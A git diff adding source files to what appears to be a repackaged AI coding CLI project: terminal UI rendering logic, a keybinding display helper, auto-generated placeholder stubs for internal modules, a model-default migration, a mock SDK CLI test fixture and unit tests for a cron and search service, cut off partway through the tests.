+            output.write(x + borderLeft, y + borderTop, fill)
+          }
+        }
+
+        renderChildren(
+          node,
+          output,
+          x,
+          y,
+          hasRemovedChild,
+          // backgroundColor and opaque both disable child blit: the fill
+          // overwrites the entire interior each render, so any child whose
+          // layout position shifted would blit stale cells from prevScreen
+          // on top of the fresh fill. Previously opaque kept blit enabled
+          // on the assumption that plain-space fill + unchanged children =
+          // valid composite, but children CAN reposition (ScrollBox remeasure
+          // on re-render → /permissions body blanked on Down arrow, #25436).
+          ownBackgroundColor || node.style.opaque ? undefined : prevScreen,
+          boxBackgroundColor,
+        )
+      }
+
+      if (needsClip) {
+        output.unclip()
+      }
+
+      // Render border AFTER children to ensure it's not overwritten by child
+      // clearing operations. When a child shrinks, it clears its old area,
+      // which may overlap with where the parent's border now is.
+      renderBorder(x, y, node, output)
+    } else if (node.nodeName === 'ink-root') {
+      renderChildren(
+        node,
+        output,
+        x,
+        y,
+        hasRemovedChild,
+        prevScreen,
+        inheritedBackgroundColor,
+      )
+    }
+
+    // Cache layout bounds for dirty tracking
+    const rect = { x, y, width, height, top: yogaTop }
+    nodeCache.set(node, rect)
+    if (node.style.position === 'absolute') {
+      absoluteRectsCur.push(rect)
+    }
+    node.dirty = false
+  }
+}
+
+// Overflow contamination: content overflows right/down, so clean siblings
+// AFTER a dirty/removed sibling can contain stale overflow in prevScreen.
+// Disable blit for siblings after a dirty child — but still pass prevScreen
+// TO the dirty child itself so its clean descendants can blit. The dirty
+// child's own blit check already fails (node.dirty=true at line 216), so
+// passing prevScreen only benefits its subtree.
+// For removed children we don't know their original position, so
+// conservatively disable blit for all.
+//
+// Clipped children (overflow hidden/scroll on both axes) cannot overflow
+// onto later siblings — their content is confined to their layout bounds.
+// Skip the contamination guard for them so later siblings can still blit.
+// Without this, a spinner inside a ScrollBox dirties the wrapper on every
+// tick and the bottom prompt section never blits → 100% writes every frame.
+//
+// Exception: absolute-positioned clipped children may have layout bounds
+// that overlap arbitrary siblings, so the clipping does not help.
+//
+// Overlap contamination (seenDirtyClipped): a later ABSOLUTE sibling whose
+// rect sits inside a dirty clipped child's bounds would blit stale cells
+// from prevScreen — the clipped child just rewrote those cells this frame.
+// The clipsBothAxes skip only protects against OVERFLOW (clipped child
+// painting outside its bounds), not overlap (absolute sibling painting
+// inside them). For non-opaque absolute siblings, skipSelfBlit forces
+// descent (the full-width rect has transparent gaps → stale blit) while
+// still passing prevScreen so opaque descendants can blit their narrower
+// rects (NewMessagesPill's inner Text with backgroundColor). Opaque
+// absolute siblings fill their entire rect — direct blit is safe.
+function renderChildren(
+  node: DOMElement,
+  output: Output,
+  offsetX: number,
+  offsetY: number,
+  hasRemovedChild: boolean,
+  prevScreen: Screen | undefined,
+  inheritedBackgroundColor: Color | undefined,
+): void {
+  let seenDirtyChild = false
+  let seenDirtyClipped = false
+  for (const childNode of node.childNodes) {
+    const childElem = childNode as DOMElement
+    // Capture dirty before rendering — renderNodeToOutput clears the flag
+    const wasDirty = childElem.dirty
+    const isAbsolute = childElem.style.position === 'absolute'
+    renderNodeToOutput(childElem, output, {
+      offsetX,
+      offsetY,
+      prevScreen: hasRemovedChild || seenDirtyChild ? undefined : prevScreen,
+      // Short-circuits on seenDirtyClipped (false in the common case) so
+      // the opaque/bg reads don't happen per-child per-frame.
+      skipSelfBlit:
+        seenDirtyClipped &&
+        isAbsolute &&
+        !childElem.style.opaque &&
+        childElem.style.backgroundColor === undefined,
+      inheritedBackgroundColor,
+    })
+    if (wasDirty && !seenDirtyChild) {
+      if (!clipsBothAxes(childElem) || isAbsolute) {
+        seenDirtyChild = true
+      } else {
+        seenDirtyClipped = true
+      }
+    }
+  }
+}
+
+function clipsBothAxes(node: DOMElement): boolean {
+  const ox = node.style.overflowX ?? node.style.overflow
+  const oy = node.style.overflowY ?? node.style.overflow
+  return (
+    (ox === 'hidden' || ox === 'scroll') && (oy === 'hidden' || oy === 'scroll')
+  )
+}
+
+// When Yoga squeezes a box to h=0, the ghost only happens if a sibling
+// lands at the same computed top — then both write to that row and the
+// shorter content leaves the longer's tail visible. Yoga's pixel-grid
+// rounding can give h=0 while still advancing the next sibling's top
+// (HelpV2's third shortcuts column), so h=0 alone isn't sufficient.
+function siblingSharesY(node: DOMElement, yogaNode: LayoutNode): boolean {
+  const parent = node.parentNode
+  if (!parent) return false
+  const myTop = yogaNode.getComputedTop()
+  const siblings = parent.childNodes
+  const idx = siblings.indexOf(node)
+  for (let i = idx + 1; i < siblings.length; i++) {
+    const sib = (siblings[i] as DOMElement).yogaNode
+    if (!sib) continue
+    return sib.getComputedTop() === myTop
+  }
+  // No next sibling with a yoga node — check previous. A run of h=0 boxes
+  // at the tail would all share y with each other.
+  for (let i = idx - 1; i >= 0; i--) {
+    const sib = (siblings[i] as DOMElement).yogaNode
+    if (!sib) continue
+    return sib.getComputedTop() === myTop
+  }
+  return false
+}
+
+// When a node blits, its absolute-positioned descendants that paint outside
+// the node's layout bounds are NOT covered by the blit (which only copies
+// the node's own rect). If a dirty sibling re-rendered and overwrote those
+// cells, we must re-blit them from prevScreen so the overlays survive.
+// Example: PromptInputFooter's slash menu uses position='absolute' bottom='100%'
+// to float above the prompt; a spinner tick in the ScrollBox above re-renders
+// and overwrites those cells. Without this, the menu vanishes on the next frame.
+function blitEscapingAbsoluteDescendants(
+  node: DOMElement,
+  output: Output,
+  prevScreen: Screen,
+  px: number,
+  py: number,
+  pw: number,
+  ph: number,
+): void {
+  const pr = px + pw
+  const pb = py + ph
+  for (const child of node.childNodes) {
+    if (child.nodeName === '#text') continue
+    const elem = child as DOMElement
+    if (elem.style.position === 'absolute') {
+      const cached = nodeCache.get(elem)
+      if (cached) {
+        absoluteRectsCur.push(cached)
+        const cx = Math.floor(cached.x)
+        const cy = Math.floor(cached.y)
+        const cw = Math.floor(cached.width)
+        const ch = Math.floor(cached.height)
+        // Only blit rects that extend outside the parent's layout bounds —
+        // cells within the parent rect are already covered by the parent blit.
+        if (cx < px || cy < py || cx + cw > pr || cy + ch > pb) {
+          output.blit(prevScreen, cx, cy, cw, ch)
+        }
+      }
+    }
+    // Recurse — absolute descendants can be nested arbitrarily deep
+    blitEscapingAbsoluteDescendants(elem, output, prevScreen, px, py, pw, ph)
+  }
+}
+
+// Render children of a scroll container with viewport culling.
+// scrollTopY..scrollBottomY are the visible window in CHILD-LOCAL Yoga coords
+// (i.e. what getComputedTop() returns). Children entirely outside this window
+// are skipped; their nodeCache entry is deleted so if they re-enter the
+// viewport later they don't emit a stale clear for a position now occupied
+// by a sibling.
+function renderScrolledChildren(
+  node: DOMElement,
+  output: Output,
+  offsetX: number,
+  offsetY: number,
+  hasRemovedChild: boolean,
+  prevScreen: Screen | undefined,
+  scrollTopY: number,
+  scrollBottomY: number,
+  inheritedBackgroundColor: Color | undefined,
+  // When true (DECSTBM fast path), culled children keep their cache —
+  // the blit+shift put stable rows in next.screen so stale cache is
+  // never read. Avoids walking O(total_children * subtree_depth) per frame.
+  preserveCulledCache = false,
+): void {
+  let seenDirtyChild = false
+  // Track cumulative height shift of dirty children iterated so far. When
+  // zero, a clean child's yogaTop is unchanged (no sibling above it grew),
+  // so cached.top is fresh and the cull check skips yoga. Bottom-append
+  // has the dirty child last → all prior clean children hit cache →
+  // O(dirty) not O(mounted). Middle-growth leaves shift non-zero after
+  // the dirty child → subsequent children yoga-read (needed for correct
+  // culling since their yogaTop shifted).
+  let cumHeightShift = 0
+  for (const childNode of node.childNodes) {
+    const childElem = childNode as DOMElement
+    const cy = childElem.yogaNode
+    if (cy) {
+      const cached = nodeCache.get(childElem)
+      let top: number
+      let height: number
+      if (
+        cached?.top !== undefined &&
+        !childElem.dirty &&
+        cumHeightShift === 0
+      ) {
+        top = cached.top
+        height = cached.height
+      } else {
+        top = cy.getComputedTop()
+        height = cy.getComputedHeight()
+        if (childElem.dirty) {
+          cumHeightShift += height - (cached ? cached.height : 0)
+        }
+        // Refresh cached top so next frame's cumShift===0 path stays
+        // correct. For culled children with preserveCulledCache=true this
+        // is the ONLY refresh point — without it, a middle-growth frame
+        // leaves stale tops that misfire next frame.
+        if (cached) cached.top = top
+      }
+      const bottom = top + height
+      if (bottom <= scrollTopY || top >= scrollBottomY) {
+        // Culled — outside visible window. Drop stale cache entries from
+        // the subtree so when this child re-enters it doesn't fire clears
+        // at positions now occupied by siblings. The viewport-clear on
+        // scroll-change handles the visible-area repaint.
+        if (!preserveCulledCache) dropSubtreeCache(childElem)
+        continue
+      }
+    }
+    const wasDirty = childElem.dirty
+    renderNodeToOutput(childElem, output, {
+      offsetX,
+      offsetY,
+      prevScreen: hasRemovedChild || seenDirtyChild ? undefined : prevScreen,
+      inheritedBackgroundColor,
+    })
+    if (wasDirty) {
+      seenDirtyChild = true
+    }
+  }
+}
+
+function dropSubtreeCache(node: DOMElement): void {
+  nodeCache.delete(node)
+  for (const child of node.childNodes) {
+    if (child.nodeName !== '#text') {
+      dropSubtreeCache(child as DOMElement)
+    }
+  }
+}
+
+// Exported for testing
+export { buildCharToSegmentMap, applyStylesToWrappedText }
+
+export default renderNodeToOutput
diff --git a/_all-in-one-upload/cc-haha/src/keybindings/shortcutFormat.ts b/_all-in-one-upload/cc-haha/src/keybindings/shortcutFormat.ts
new file mode 100644
index 0000000..45db3b0
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/keybindings/shortcutFormat.ts
@@ -0,0 +1,63 @@
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../services/analytics/index.js'
+import { loadKeybindingsSync } from './loadUserBindings.js'
+import { getBindingDisplayText } from './resolver.js'
+import type { KeybindingContextName } from './types.js'
+
+// TODO(keybindings-migration): Remove fallback parameter after migration is
+// complete and we've confirmed no 'keybinding_fallback_used' events are being
+// logged. The fallback exists as a safety net during migration - if bindings
+// fail to load or an action isn't found, we fall back to hardcoded values.
+// Once stable, callers should be able to trust that getBindingDisplayText
+// always returns a value for known actions, and we can remove this defensive
+// pattern.
+
+// Track which action+context pairs have already logged a fallback event
+// to avoid duplicate events from repeated calls in non-React contexts.
+const LOGGED_FALLBACKS = new Set<string>()
+
+/**
+ * Get the display text for a configured shortcut without React hooks.
+ * Use this in non-React contexts (commands, services, etc.).
+ *
+ * This lives in its own module (not useShortcutDisplay.ts) so that
+ * non-React callers like query/stopHooks.ts don't pull React into their
+ * module graph via the sibling hook.
+ *
+ * @param action - The action name (e.g., 'app:toggleTranscript')
+ * @param context - The keybinding context (e.g., 'Global')
+ * @param fallback - Fallback text if binding not found
+ * @returns The configured shortcut display text
+ *
+ * @example
+ * const expandShortcut = getShortcutDisplay('app:toggleTranscript', 'Global', 'ctrl+o')
+ * // Returns the user's configured binding, or 'ctrl+o' as default
+ */
+export function getShortcutDisplay(
+  action: string,
+  context: KeybindingContextName,
+  fallback: string,
+): string {
+  const bindings = loadKeybindingsSync()
+  const resolved = getBindingDisplayText(action, context, bindings)
+  if (resolved === undefined) {
+    const key = `${action}:${context}`
+    if (!LOGGED_FALLBACKS.has(key)) {
+      LOGGED_FALLBACKS.add(key)
+      logEvent('tengu_keybinding_fallback_used', {
+        action:
+          action as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        context:
+          context as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        fallback:
+          fallback as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        reason:
+          'action_not_found' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      })
+    }
+    return fallback
+  }
+  return resolved
+}
diff --git a/_all-in-one-upload/cc-haha/src/memdir/memoryShapeTelemetry.ts b/_all-in-one-upload/cc-haha/src/memdir/memoryShapeTelemetry.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/memdir/memoryShapeTelemetry.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/_all-in-one-upload/cc-haha/src/migrations/resetProToOpusDefault.ts b/_all-in-one-upload/cc-haha/src/migrations/resetProToOpusDefault.ts
new file mode 100644
index 0000000..601872f
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/migrations/resetProToOpusDefault.ts
@@ -0,0 +1,51 @@
+import { logEvent } from 'src/services/analytics/index.js'
+import { isProSubscriber } from '../utils/auth.js'
+import { getGlobalConfig, saveGlobalConfig } from '../utils/config.js'
+import { getAPIProvider } from '../utils/model/providers.js'
+import { getSettings_DEPRECATED } from '../utils/settings/settings.js'
+
+export function resetProToOpusDefault(): void {
+  const config = getGlobalConfig()
+
+  if (config.opusProMigrationComplete) {
+    return
+  }
+
+  const apiProvider = getAPIProvider()
+
+  // Pro users on firstParty get auto-migrated to Opus 4.5 default
+  if (apiProvider !== 'firstParty' || !isProSubscriber()) {
+    saveGlobalConfig(current => ({
+      ...current,
+      opusProMigrationComplete: true,
+    }))
+    logEvent('tengu_reset_pro_to_opus_default', { skipped: true })
+    return
+  }
+
+  const settings = getSettings_DEPRECATED()
+
+  // Only show notification if user was on default (no custom model setting)
+  if (settings?.model === undefined) {
+    const opusProMigrationTimestamp = Date.now()
+    saveGlobalConfig(current => ({
+      ...current,
+      opusProMigrationComplete: true,
+      opusProMigrationTimestamp,
+    }))
+    logEvent('tengu_reset_pro_to_opus_default', {
+      skipped: false,
+      had_custom_model: false,
+    })
+  } else {
+    // User has a custom model setting, just mark migration complete
+    saveGlobalConfig(current => ({
+      ...current,
+      opusProMigrationComplete: true,
+    }))
+    logEvent('tengu_reset_pro_to_opus_default', {
+      skipped: false,
+      had_custom_model: true,
+    })
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/query/transitions.ts b/_all-in-one-upload/cc-haha/src/query/transitions.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/query/transitions.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/_all-in-one-upload/cc-haha/src/server/__tests__/.syncthing.providers-real.test.ts.tmp b/_all-in-one-upload/cc-haha/src/server/__tests__/.syncthing.providers-real.test.ts.tmp
new file mode 100644
index 0000000..81c4911
Binary files /dev/null and b/_all-in-one-upload/cc-haha/src/server/__tests__/.syncthing.providers-real.test.ts.tmp differ
diff --git a/_all-in-one-upload/cc-haha/src/server/__tests__/fixtures/mock-sdk-cli.ts b/_all-in-one-upload/cc-haha/src/server/__tests__/fixtures/mock-sdk-cli.ts
new file mode 100644
index 0000000..605aaae
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/server/__tests__/fixtures/mock-sdk-cli.ts
@@ -0,0 +1,274 @@
+const args = process.argv.slice(2)
+
+function getArg(name: string): string | undefined {
+  const index = args.indexOf(name)
+  return index >= 0 ? args[index + 1] : undefined
+}
+
+function emit(ws: WebSocket, payload: Record<string, unknown>) {
+  ws.send(JSON.stringify(payload) + '\n')
+}
+
+function delay(ms: number) {
+  return new Promise((resolve) => setTimeout(resolve, ms))
+}
+
+function extractUserText(message: any): string {
+  const content = message?.message?.content
+  if (!Array.isArray(content)) return ''
+  return content
+    .filter((block: any) => block?.type === 'text' && typeof block.text === 'string')
+    .map((block: any) => block.text)
+    .join(' ')
+}
+
+const sdkUrl = getArg('--sdk-url')
+const sessionId = getArg('--session-id') || crypto.randomUUID()
+const initMode = process.env.MOCK_SDK_INIT_MODE || 'on_open'
+const streamDelayMs = Number(process.env.MOCK_SDK_STREAM_DELAY_MS || '0')
+const exitAfterOpenMs = Number(process.env.MOCK_SDK_EXIT_AFTER_OPEN_MS || '0')
+const exitAfterFirstUserMs = Number(process.env.MOCK_SDK_EXIT_AFTER_FIRST_USER_MS || '0')
+let initSent = false
+let firstUserExitScheduled = false
+
+if (!sdkUrl) {
+  console.error('Missing --sdk-url')
+  process.exit(1)
+}
+
+const ws = new WebSocket(sdkUrl)
+
+function sendInit() {
+  if (initSent) return
+  initSent = true
+  emit(ws, {
+    type: 'system',
+    subtype: 'init',
+    model: 'mock-opus',
+    slash_commands: [{ name: 'help', description: 'Show help' }],
+    session_id: sessionId,
+  })
+}
+
+ws.addEventListener('open', () => {
+  if (initMode !== 'on_first_user') {
+    sendInit()
+  }
+  if (exitAfterOpenMs > 0) {
+    setTimeout(() => process.exit(1), exitAfterOpenMs)
+  }
+})
+
+ws.addEventListener('message', (event) => {
+  const payload = typeof event.data === 'string' ? event.data : String(event.data)
+  const lines = payload.split('\n').map(line => line.trim()).filter(Boolean)
+
+  void (async () => {
+    for (const line of lines) {
+      const parsed = JSON.parse(line)
+
+      if (parsed.type === 'user') {
+        sendInit()
+        if (exitAfterFirstUserMs > 0 && !firstUserExitScheduled) {
+          firstUserExitScheduled = true
+          setTimeout(() => process.exit(1), exitAfterFirstUserMs)
+          continue
+        }
+        const text = extractUserText(parsed)
+        const slashCommand = text.trim()
+        if (slashCommand === '/cost') {
+          emit(ws, {
+            type: 'system',
+            subtype: 'local_command_output',
+            content: 'Total cost: $0.0000\nTotal duration: 0s',
+            session_id: sessionId,
+          })
+          emit(ws, {
+            type: 'result',
+            subtype: 'success',
+            is_error: false,
+            result: 'Total cost: $0.0000',
+            usage: { input_tokens: 0, output_tokens: 0 },
+            session_id: sessionId,
+          })
+          continue
+        }
+        if (slashCommand === '/context') {
+          emit(ws, {
+            type: 'system',
+            subtype: 'local_command_output',
+            content: '## Context Usage\n\n| Type | Tokens |\n| --- | ---: |\n| System prompt | 123 |',
+            session_id: sessionId,
+          })
+          emit(ws, {
+            type: 'result',
+            subtype: 'success',
+            is_error: false,
+            result: 'Context usage',
+            usage: { input_tokens: 0, output_tokens: 0 },
+            session_id: sessionId,
+          })
+          continue
+        }
+        emit(ws, {
+          type: 'stream_event',
+          event: { type: 'message_start' },
+          session_id: sessionId,
+        })
+        emit(ws, {
+          type: 'stream_event',
+          event: {
+            type: 'content_block_start',
+            index: 0,
+            content_block: { type: 'text', text: '' },
+          },
+          session_id: sessionId,
+        })
+        emit(ws, {
+          type: 'stream_event',
+          event: {
+            type: 'content_block_delta',
+            index: 0,
+            delta: { type: 'thinking_delta', thinking: 'Mock thinking...' },
+          },
+          session_id: sessionId,
+        })
+        if (streamDelayMs > 0) await delay(streamDelayMs)
+        emit(ws, {
+          type: 'stream_event',
+          event: {
+            type: 'content_block_delta',
+            index: 0,
+            delta: { type: 'text_delta', text: `Echo: ${text}` },
+          },
+          session_id: sessionId,
+        })
+        if (streamDelayMs > 0) await delay(streamDelayMs)
+        emit(ws, {
+          type: 'stream_event',
+          event: { type: 'content_block_stop', index: 0 },
+          session_id: sessionId,
+        })
+        emit(ws, {
+          type: 'result',
+          subtype: 'success',
+          is_error: false,
+          result: `Echo: ${text}`,
+          usage: { input_tokens: 3, output_tokens: 2 },
+          session_id: sessionId,
+        })
+      }
+
+      if (parsed.type === 'control_request' && parsed.request?.subtype === 'interrupt') {
+        emit(ws, {
+          type: 'result',
+          subtype: 'success',
+          is_error: false,
+          result: 'Interrupted',
+          usage: { input_tokens: 0, output_tokens: 0 },
+          session_id: sessionId,
+        })
+      }
+
+      if (parsed.type === 'control_request' && parsed.request?.subtype === 'get_session_usage') {
+        emit(ws, {
+          type: 'control_response',
+          response: {
+            subtype: 'success',
+            request_id: parsed.request_id,
+            response: {
+              totalCostUSD: 0.1234,
+              costDisplay: '$0.1234',
+              hasUnknownModelCost: false,
+              totalAPIDuration: 4,
+              totalDuration: 43,
+              totalLinesAdded: 0,
+              totalLinesRemoved: 0,
+              totalInputTokens: 27000,
+              totalOutputTokens: 41,
+              totalCacheReadInputTokens: 0,
+              totalCacheCreationInputTokens: 0,
+              totalWebSearchRequests: 0,
+              models: [{
+                model: 'mock-opus',
+                displayName: 'mock-opus',
+                inputTokens: 27000,
+                outputTokens: 41,
+                cacheReadInputTokens: 0,
+                cacheCreationInputTokens: 0,
+                webSearchRequests: 0,
+                costUSD: 0.1234,
+                costDisplay: '$0.1234',
+                contextWindow: 200000,
+                maxOutputTokens: 8192,
+              }],
+            },
+          },
+          session_id: sessionId,
+        })
+      }
+
+      if (parsed.type === 'control_request' && parsed.request?.subtype === 'get_context_usage') {
+        emit(ws, {
+          type: 'control_response',
+          response: {
+            subtype: 'success',
+            request_id: parsed.request_id,
+            response: {
+              categories: [
+                { name: 'System prompt', tokens: 6800, color: '#8a8a8a' },
+                { name: 'MCP tools', tokens: 5900, color: '#06b6d4' },
+                { name: 'Messages', tokens: 2400, color: '#7c3aed' },
+                { name: 'Free space', tokens: 132000, color: '#a1a1aa' },
+              ],
+              totalTokens: 27000,
+              maxTokens: 200000,
+              rawMaxTokens: 200000,
+              percentage: 13,
+              gridRows: Array.from({ length: 10 }, (_, row) =>
+                Array.from({ length: 10 }, (_, col) => {
+                  const index = row * 10 + col
+                  return {
+                    color: index < 13 ? '#06b6d4' : '#a1a1aa',
+                    isFilled: index < 13,
+                    categoryName: index < 13 ? 'Used' : 'Free space',
+                    tokens: 2000,
+                    percentage: 1,
+                    squareFullness: index < 13 ? 1 : 0,
+                  }
+                }),
+              ),
+              model: 'mock-opus',
+              estimateOnly: parsed.request.estimateOnly === true,
+              memoryFiles: [],
+              mcpTools: [{ name: 'mock_tool', serverName: 'mock', tokens: 144, isLoaded: true }],
+              agents: [],
+              skills: { totalSkills: 1, includedSkills: 1, tokens: 3000, skillFrontmatter: [] },
+              isAutoCompactEnabled: true,
+              apiUsage: null,
+            },
+          },
+          session_id: sessionId,
+        })
+      }
+
+      if (parsed.type === 'control_request' && parsed.request?.subtype === 'mcp_status') {
+        emit(ws, {
+          type: 'control_response',
+          response: {
+            subtype: 'success',
+            request_id: parsed.request_id,
+            response: {
+              mcpServers: [{ name: 'mock', status: 'connected' }],
+            },
+          },
+          session_id: sessionId,
+        })
+      }
+    }
+  })()
+})
+
+ws.addEventListener('close', () => {
+  process.exit(0)
+})
diff --git a/_all-in-one-upload/cc-haha/src/server/__tests__/scheduled-tasks.test.ts b/_all-in-one-upload/cc-haha/src/server/__tests__/scheduled-tasks.test.ts
new file mode 100644
index 0000000..8b03198
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/server/__tests__/scheduled-tasks.test.ts
@@ -0,0 +1,371 @@
+/**
+ * Unit tests for CronService, SearchService, and Scheduled Tasks API
+ */
+
+import { describe, it, expect, beforeEach, afterEach, spyOn } from 'bun:test'
+import * as fs from 'fs/promises'
+import * as path from 'path'
+import * as os from 'os'
+import { CronService } from '../services/cronService.js'
+import { SearchService } from '../services/searchService.js'
+
+// ─── Test helpers ───────────────────────────────────────────────────────────
+
+let tmpDir: string
+const originalConfigDir = process.env.CLAUDE_CONFIG_DIR
+
+async function createTmpDir(): Promise<string> {
+  const dir = path.join(os.tmpdir(), `claude-test-${Date.now()}-${Math.random().toString(36).slice(2)}`)
+  await fs.mkdir(dir, { recursive: true })
+  return dir
+}
+
+async function cleanupTmpDir(dir: string): Promise<void> {
+  try {
+    await fs.rm(dir, { recursive: true, force: true })
+  } catch {
+    // ignore
+  }
+}
+
+// ─── CronService tests ─────────────────────────────────────────────────────
+
+describe('CronService', () => {
+  let service: CronService
+
+  beforeEach(async () => {
+    tmpDir = await createTmpDir()
+    process.env.CLAUDE_CONFIG_DIR = tmpDir
+    service = new CronService()
+  })
+
+  afterEach(async () => {
+    if (originalConfigDir) {
+      process.env.CLAUDE_CONFIG_DIR = originalConfigDir
+    } else {
+      delete process.env.CLAUDE_CONFIG_DIR
+    }
+    await cleanupTmpDir(tmpDir)
+  })
+
+  it('should return empty list when no tasks file exists', async () => {
+    const tasks = await service.listTasks()
+    expect(tasks).toEqual([])
+  })
+
+  it('should create a task with generated id and createdAt', async () => {
+    const task = await service.createTask({
+      cron: '0 9 * * *',
+      prompt: 'Review commits',
+      recurring: true,
+    })
+
+    expect(task.id).toBeDefined()
+    expect(task.id).toHaveLength(8) // 4 bytes hex
+    expect(task.cron).toBe('0 9 * * *')
+    expect(task.prompt).toBe('Review commits')
+    expect(task.recurring).toBe(true)
+    expect(task.createdAt).toBeGreaterThan(0)
+  })
+
+  it('should persist tasks to file', async () => {
+    await service.createTask({ cron: '0 9 * * *', prompt: 'Task 1' })
+    await service.createTask({ cron: '30 18 * * 5', prompt: 'Task 2' })
+
+    const tasks = await service.listTasks()
+    expect(tasks).toHaveLength(2)
+    expect(tasks[0].prompt).toBe('Task 1')
+    expect(tasks[1].prompt).toBe('Task 2')
+  })
+
+  it('should update an existing task', async () => {
+    const created = await service.createTask({
+      cron: '0 9 * * *',
+      prompt: 'Original prompt',
+    })
+
+    const updated = await service.updateTask(created.id, {
+      prompt: 'Updated prompt',
+      recurring: true,
+    })
+
+    expect(updated.id).toBe(created.id)
+    expect(updated.prompt).toBe('Updated prompt')
+    expect(updated.recurring).toBe(true)
+    expect(updated.createdAt).toBe(created.createdAt)
+  })
+
+  it('should throw when updating a non-existent task', async () => {
+    await expect(
+      service.updateTask('nonexistent', { prompt: 'x' }),
+    ).rejects.toThrow('Task not found')
+  })
+
+  it('should delete a task', async () => {
+    const created = await service.createTask({
+      cron: '0 9 * * *',
+      prompt: 'To delete',
+    })
+
+    await service.deleteTask(created.id)
+    const tasks = await service.listTasks()
+    expect(tasks).toHaveLength(0)
+  })
+
+  it('should throw when deleting a non-existent task', async () => {
+    await expect(service.deleteTask('nonexistent')).rejects.toThrow(
+      'Task not found',
+    )
+  })
+
+  it('should generate unique IDs', async () => {
+    const ids = new Set<string>()
+    for (let i = 0; i < 20; i++) {
+      const task = await service.createTask({
+        cron: '* * * * *',
+        prompt: `Task ${i}`,
+      })
+      ids.add(task.id)
+    }
+    expect(ids.size).toBe(20)
+  })
+
+  it('should reject create when cron or prompt is missing', async () => {
+    await expect(
+      service.createTask({ cron: '', prompt: 'something' }),
+    ).rejects.toThrow()
+
+    await expect(
+      service.createTask({ cron: '* * * * *', prompt: '' }),
+    ).rejects.toThrow()
+  })
+
+  it('should retry the atomic write when rename returns ENOENT', async () => {
+    const originalRename = fs.rename
+    let renameCalls = 0
+
+    const renameSpy = spyOn(fs, 'rename')
+    renameSpy.mockImplementation(async (...args) => {
+      renameCalls += 1
+
+      if (renameCalls === 1) {
+        const error = new Error(
+          'ENOENT: no such file or directory, rename tmp -> scheduled_tasks.json',
+        ) as NodeJS.ErrnoException
+        error.code = 'ENOENT'
+        throw error
+      }
+
+      return originalRename(...args)
+    })
+
+    try {
+      const task = await service.createTask({
+        cron: '0 9 * * *',
+        prompt: 'Retry rename once',
+      })
+
+      const tasks = await service.listTasks()
+      expect(task.id).toBeDefined()
+      expect(tasks).toHaveLength(1)
+      expect(tasks[0]?.prompt).toBe('Retry rename once')
+      expect(renameCalls).toBe(2)
+    } finally {
+      renameSpy.mockRestore()
+    }
+  })
+})
+
+// ─── SearchService tests ────────────────────────────────────────────────────
+
+describe('SearchService', () => {
+  let service: SearchService
+  let searchDir: string
+
+  beforeEach(async () => {
+    tmpDir = await createTmpDir()
+    process.env.CLAUDE_CONFIG_DIR = tmpDir
+    service = new SearchService()
+
+    // 创建搜索用的临时文件
+    searchDir = path.join(tmpDir, 'workspace')
+    await fs.mkdir(searchDir, { recursive: true })
+    await fs.writeFile(
+      path.join(searchDir, 'hello.txt'),
+      'Hello World\nThis is a test\nAnother line\n',
+    )
+    await fs.writeFile(
+      path.join(searchDir, 'code.ts'),
+      'function greet() {\n  return "hello"\n}\n',
+    )
+  })
+
+  afterEach(async () => {
+    if (originalConfigDir) {
